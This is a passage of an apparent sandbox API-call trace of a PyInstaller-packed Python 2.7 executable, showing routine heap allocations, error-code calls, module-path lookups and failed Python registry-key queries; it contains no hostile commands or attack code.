[0071.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6508, Size=0x14) returned 0x2ad0550 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0071.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0550 | out: hHeap=0x2ad0000) returned 1 [0071.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad04a0, Size=0xb8) returned 0x2ad04a0 [0071.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6578, Size=0x14) returned 0x2ad0578 [0071.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0071.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0560 | out: hHeap=0x2ad0000) returned 1 [0071.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6528 | out: hHeap=0x2ad0000) returned 1 [0071.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0578 | out: hHeap=0x2ad0000) returned 1 [0071.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a12ac8 | out: hHeap=0x2ad0000) returned 1 [0071.941] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6408, Size=0x14) returned 0x2ad0578 [0071.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6598 | out: hHeap=0x2ad0000) returned 1 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0560 | out: hHeap=0x2ad0000) returned 1 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6418 | out: hHeap=0x2ad0000) returned 1 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0578 | out: hHeap=0x2ad0000) returned 1 [0071.942] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2ad0578 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0560 | out: hHeap=0x2ad0000) returned 1 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0578 | out: hHeap=0x2ad0000) returned 1 [0071.942] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6428, Size=0x14) returned 0x2ad0578 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6548 | out: hHeap=0x2ad0000) returned 1 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0560 | out: hHeap=0x2ad0000) returned 1 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0578 | out: hHeap=0x2ad0000) returned 1 [0071.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a12dd8 | out: hHeap=0x2ad0000) returned 1 [0071.943] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6558, Size=0x14) returned 0x2ad0578 [0071.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0560 | out: hHeap=0x2ad0000) returned 1 [0071.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0071.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0578 | out: hHeap=0x2ad0000) returned 1 [0071.943] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2ad0578 [0071.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0071.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0560 | out: hHeap=0x2ad0000) returned 1 [0071.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6418 | out: hHeap=0x2ad0000) returned 1 [0071.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0578 | out: hHeap=0x2ad0000) returned 1 [0071.944] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6438, Size=0x14) returned 0x2ad0578 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0560 | out: hHeap=0x2ad0000) returned 1 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0578 | out: hHeap=0x2ad0000) returned 1 [0071.944] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2ad0578 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0560 | out: hHeap=0x2ad0000) returned 1 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0578 | out: hHeap=0x2ad0000) returned 1 [0071.944] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6458, Size=0x14) returned 0x2ad0578 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0560 | out: hHeap=0x2ad0000) returned 1 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6508 | out: hHeap=0x2ad0000) returned 1 [0071.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0578 | out: hHeap=0x2ad0000) returned 1 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2a16ff8 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2a173e0 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2a177c8 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2a17bb0 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3c) returned 0x2ad0560 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12010 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2adece8 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6548 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0071.945] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6548, Size=0x14) returned 0x2aded00 [0071.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0071.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2adece8 | out: hHeap=0x2ad0000) returned 1 [0071.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aded00 | out: hHeap=0x2ad0000) returned 1 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a14838 [0071.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a12010 | out: hHeap=0x2ad0000) returned 1 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf0) returned 0x2adece8 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12ac8 [0071.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a14230 [0071.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a12ac8 | out: hHeap=0x2ad0000) returned 1 [0071.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0071.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2adede0 [0071.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6538 [0071.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0071.946] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2adedf8 [0071.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0071.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2adede0 | out: hHeap=0x2ad0000) returned 1 [0071.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2adedf8 | out: hHeap=0x2ad0000) returned 1 [0071.946] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad04a0, Size=0xe8) returned 0x2adede0 [0071.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0071.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04a0 [0071.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6428 [0071.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0071.946] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6428, Size=0x14) returned 0x2ad04b8 [0071.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0071.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0071.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04b8 | out: hHeap=0x2ad0000) returned 1 [0071.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64a8 [0071.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04a0 [0071.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0071.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0071.947] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2ad04b8 [0071.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0071.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0071.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04b8 | out: hHeap=0x2ad0000) returned 1 [0071.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0071.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04a0 [0071.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6498 [0071.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6588 [0071.947] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6498, Size=0x14) returned 0x2ad04b8 [0071.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6588 | out: hHeap=0x2ad0000) returned 1 [0071.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0071.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04b8 | out: hHeap=0x2ad0000) returned 1 [0071.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12940 [0071.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a15a50 [0071.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a12940 | out: hHeap=0x2ad0000) returned 1 [0071.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6000) returned 0x2a17f98 [0071.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a10050 | out: hHeap=0x2ad0000) returned 1 [0071.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2a10050 [0071.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a15a50 | out: hHeap=0x2ad0000) returned 1 [0071.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12940 [0071.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a13620 [0071.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a12940 | out: hHeap=0x2ad0000) returned 1 [0071.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf9c) returned 0x2a1dfa0 [0071.952] GetLastError () returned 0x0 [0071.952] SetLastError (dwErrCode=0x0) [0071.952] GetLastError () returned 0x0 [0071.952] SetLastError (dwErrCode=0x0) [0071.952] GetLastError () returned 0x0 [0071.952] SetLastError (dwErrCode=0x0) [0071.952] GetLastError () returned 0x0 [0071.952] SetLastError (dwErrCode=0x0) [0071.952] GetLastError () returned 0x0 [0071.952] SetLastError (dwErrCode=0x0) [0071.952] GetLastError () returned 0x0 [0071.952] SetLastError (dwErrCode=0x0) [0071.953] GetLastError () returned 0x0 [0071.953] SetLastError (dwErrCode=0x0) [0071.953] GetLastError () returned 0x0 [0071.953] SetLastError (dwErrCode=0x0) [0071.954] GetLastError () returned 0x0 [0071.954] SetLastError (dwErrCode=0x0) [0071.954] GetLastError () returned 0x0 [0071.954] SetLastError (dwErrCode=0x0) [0071.954] GetModuleFileNameA (in: hModule=0x72ef0000, lpFilename=0x73171398, nSize=0x100 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\python27.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\python27.dll")) returned 0x39 [0071.963] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x731714a0, nSize=0x100 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe")) returned 0x40 [0071.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a) returned 0x2ad04a0 [0071.963] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Python\\PythonCore\\2.7\\PythonPath", ulOptions=0x0, samDesired=0x20019, phkResult=0x9bc3e4 | out: phkResult=0x9bc3e4*=0x0) returned 0x2 [0071.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a) returned 0x2ad04a0 [0071.963] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Python\\PythonCore\\2.7\\PythonPath", ulOptions=0x0, samDesired=0x20019, phkResult=0x9bc3dc | out: phkResult=0x9bc3dc*=0x0) returned 0x2 [0071.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.963] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x127) returned 0x2a1ef48 [0071.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e8) returned 0x2a1f078 [0071.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.964] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad14e0, Size=0x20) returned 0x2ad14e0 [0071.964] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad14e0, Size=0x40) returned 0x2ad04a0 [0071.964] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad04a0, Size=0x64) returned 0x2ad04a0 [0071.964] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad04a0, Size=0x8c) returned 0x2ad04a0 [0071.964] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad04a0, Size=0xb8) returned 0x2ad04a0 [0071.964] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad04a0, Size=0xe8) returned 0x2adeed0 [0071.964] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2adeed0, Size=0x120) returned 0x2a1f468 [0071.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f468 | out: hHeap=0x2ad0000) returned 1 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x78) returned 0x2ad04a0 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12dd8 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a16660 [0071.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a12dd8 | out: hHeap=0x2ad0000) returned 1 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0520 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6518 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0071.965] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6518, Size=0x14) returned 0x2ad0538 [0071.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0071.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0520 | out: hHeap=0x2ad0000) returned 1 [0071.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0071.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x154) returned 0x2a1f468 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12198 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a14e40 [0071.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a12198 | out: hHeap=0x2ad0000) returned 1 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6408 [0071.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0520 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64e8 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0071.966] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64e8, Size=0x14) returned 0x2ad0538 [0071.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0071.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0520 | out: hHeap=0x2ad0000) returned 1 [0071.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6408 | out: hHeap=0x2ad0000) returned 1 [0071.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc8) returned 0x2adeed0 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12ac8 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a15448 [0071.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a12ac8 | out: hHeap=0x2ad0000) returned 1 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6438 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0520 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6408 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6528 [0071.966] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6408, Size=0x14) returned 0x2ad0538 [0071.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6528 | out: hHeap=0x2ad0000) returned 1 [0071.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0520 | out: hHeap=0x2ad0000) returned 1 [0071.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6438 | out: hHeap=0x2ad0000) returned 1 [0071.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0538 | out: hHeap=0x2ad0000) returned 1 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x247) returned 0x2a1f5c8 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a15a50 [0071.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2ad14e0 [0071.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3c) returned 0x2adefa0 [0071.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a12198 [0071.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0071.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0520 [0071.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad0538 [0071.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65b8 [0071.967] RtlAllocateHeap (HeapHandle=0x2ad0000, 